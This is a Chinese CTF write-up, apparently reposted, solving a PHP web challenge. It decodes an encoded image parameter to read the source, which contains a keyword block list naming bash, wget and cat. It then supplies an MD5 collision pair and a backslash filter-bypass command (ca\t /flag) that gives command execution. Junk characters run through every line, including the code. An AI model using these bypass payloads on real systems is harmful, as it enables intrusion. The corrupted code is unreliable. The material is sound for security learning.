|
|
$ O# B3 j9 L2 k4 W/ F7 ^. j
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
' T4 H! J) t* }0 U<p> </p>
% r5 K2 I9 l4 @+ }2 H0 `<p> </p>
# @+ j$ Z$ q2 |$ U+ B, W# C<p> 题目打开如下，?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=，同时查看源代码</p>
+ ?5 ]' L' l* p( m8 n# N U. w<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
; l: {2 Q5 n+ v, c, E1 }! e2 E<p> </p>* [) w |) t8 I/ V6 D
<p> </p>3 {6 ~" J" r. \1 X6 g& f
<p>这里有个MD5 is funny，说明这个题目大概率跟MD5有关</p>9 Q+ g+ Q8 f: R
<p>然后我抓包了一下，消息头里面没有什么特殊的东西，于是我尝试从url入手</p>
4 g2 o% `) q' C: R. ?: [<p>首先把那个进行一次base64位解码</p>
3 B; v. Y* x: m( ^# W<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>! `1 ?" G3 f; z) T' q/ G9 A6 {# u( ~
<p> </p>1 R. ^+ A2 m8 E4 m8 U" Y: Y' ^
<p> </p>
6 U/ p5 ^3 E+ I# v' m b& `<p> 解码一次以后还是很像base64编码，于是又解码一次</p>
! x6 P7 |+ D5 P; [5 Q2 @4 C<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>1 a7 \' x; `. q# j$ n
<p> </p>
* D4 g0 z6 c* I5 ]% V<p> </p>0 t+ y2 ^( ?1 W
<p> 然后用hex解码一下得到了</p>
" Q+ t, M4 e# |' l$ ^<div class="cnblogs_Highlighter">4 Y& E }% z6 b8 o L
<pre class="brush:sql;gutter:true;">555.png1 D$ B& _/ Z3 p
</pre>8 V" ?8 }3 u$ e+ D
</div>
& d8 B; n6 c! ]8 M# o( a<p> 用同样的方法把index.php进行加密</p>, Q5 ]; i( x9 T
<div class="cnblogs_Highlighter">. @8 l0 T3 R+ A
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3; i' r. p; c" g2 x1 A5 w9 o' K" i
</pre>5 I5 z6 G3 F. N" K: K
</div>
7 I% Q& L1 H) e2 G5 ^<p> 然后输入到地址栏</p>
' E: ]/ E7 ?# Z _8 g9 m<p> 然后查看源代码，把源代码里面的那一串base64的编码解码</p>
5 k, W, T! y# w1 C7 W: J) ^' v5 F: k<div class="cnblogs_code">
! u g6 h, ]6 F: w' b/ D& i7 v<pre><?<span style="color: rgba(0, 0, 0, 1)">php' `, O! r& z+ \- F$ N% C
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);/ u5 w" e& G( K6 S9 _- M
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
6 `2 d4 \7 s3 Q# e0 r$ C</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]; Y1 e' }( t& T1 S, V1 {
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
) M D" o$ [2 l: d' W </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);. V7 [2 N( p. O, m
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));4 r! k) Q0 n* H' j
6 d' p' _( X. J/ O7 t7 T</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);6 A; z! L, \: f
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {# a5 B( D0 ^% T
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
% l- U) ?: l5 p </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi～ no flag"<span style="color: rgba(0, 0, 0, 1)">);" N3 |$ m6 S! @
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
3 f7 i/ _* F4 A; h ]! [5 ? </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));- @5 M6 s$ Y. {5 K& S e% |6 `
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;! E9 g# I; P8 S& g0 ]. \
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
4 E, x! k1 h- c6 r( V}3 M' ^, h3 Z7 F. L2 T* {
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
+ q9 Z( B) r1 e5 N( T</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
/ o. d/ {6 ]5 z6 r" P( N% n& V0 e</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
4 ]- c, j o/ X) t* Z" z: ] </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
. D$ o$ X; n) m* t! B: I v </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
. e; O) T2 S; `, ~} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
7 X5 w3 f8 B3 u0 C- f </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {. T; x* F3 x0 l. C# C" L( K3 f$ t
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
9 L) m+ n- R9 @( ? } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 h( Q# Z: K+ m4 d
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
8 A' J& i+ P/ |4 c6 j9 q; r! ^ }, l' }5 _3 [. K" S4 D8 }5 w$ ?3 ~
}
. t; M) d! ^) z# Y6 y6 F
4 q. q5 c' v$ u- e; m' g m</span>?>
% {) J: g2 A" Q<html># i4 {9 \" S7 y, e2 t4 R& N9 {
<style><span style="color: rgba(0, 0, 0, 1)">2 R5 K+ L1 V0 p e
body{9 B( g) M3 v, J; { p- B: ]% j
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;1 {$ D" l) D; X( P: Q" Y5 p
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;* S( _3 l, h1 J9 {
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
: G0 }. _8 o& q$ g+ }9 @: j background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
8 w0 P0 a, f2 t% c7 |# |<span style="color: rgba(0, 0, 0, 1)">}4 s6 d9 @3 e" I, y
</span></style>
' z: k! {/ C8 S# t% v* |4 u<body>* F, L- F) |$ K( J
</body>* Q" g( f, B1 t2 S8 } [
</html></pre>- ]" r3 ]3 D) X' b/ M0 w
</div>
1 ]$ T. B7 I0 i$ r<p>结合前面的推断，关键代码就在</p>. M% e# m& v. R/ |2 o$ s5 o$ L
<div class="cnblogs_code">
/ x" S9 `2 D( O% \$ ~<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
$ j: W4 S! c3 b. q, u </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;" `2 w) S4 v0 p0 {; P# s
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
2 y' D+ S" J! }% \; _ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);' R0 p1 _. _! u& }! E/ T
}</span></pre>, U5 ~2 A! K3 A5 Y
</div>
; H& C- E4 T% V0 [( C<p>这种MD5是md5强碰撞</p>
8 I; z% o$ q/ H' }<div class="cnblogs_Highlighter">5 D$ a( D% f; P7 O, M
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
* z: k9 g8 I" M& i& c7 a</pre>
9 E. E4 }7 r8 [6 p- U; G5 p</div>7 b ] f- }: c Q
<div class="cnblogs_Highlighter">5 y, [5 J; H/ l$ a( j) B
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 C) X9 V, W5 ^
</pre>
( r4 Z7 k& M0 R</div>4 [1 _; g7 O! t, p" M6 M
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
J0 J4 B7 W0 O% d; w; L' u2 I3 A<p>于是采用payload:</p>' D& x$ P$ J; y* Q
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>3 J% t# D# d, z1 T; m
<p> </p>
7 n! y& y2 ~# M5 Q/ j<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
$ I0 P, F& Z, A% V( ~# W1 y/ `4 S<p>ls和l\s在命令执行的时候结果是一样的。</p>' |, H! J9 N. N6 {9 E: n
<p>然后发现根目录里面有/flag</p>
* l, w- W. k) M/ }: `( C# P<p>于是payload:</p>6 \! Z2 M( V" W" s* d6 i1 e
<div class="cnblogs_Highlighter">
% O M/ y8 G& }: V' l. j3 R<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
! X5 B4 g+ U: g% B2 M3 M</pre>
& B+ { M1 ]' d" s6 D+ V</div>0 t3 \; g3 v$ B4 u# I% t/ a
<p> 对于这个题目，因为他没有屏蔽sort和dir</p>; @2 S, `) g3 ~8 f/ j( l9 w0 v3 H
<p>所以查看也可以用dir来代替ls，cat可以用sort来代替。</p>; X. H [2 r1 U; L
<p> </p>* H' {4 d t! W' D4 L7 I& O2 q& Q
|
|
发表于 2022-2-12 14:35:42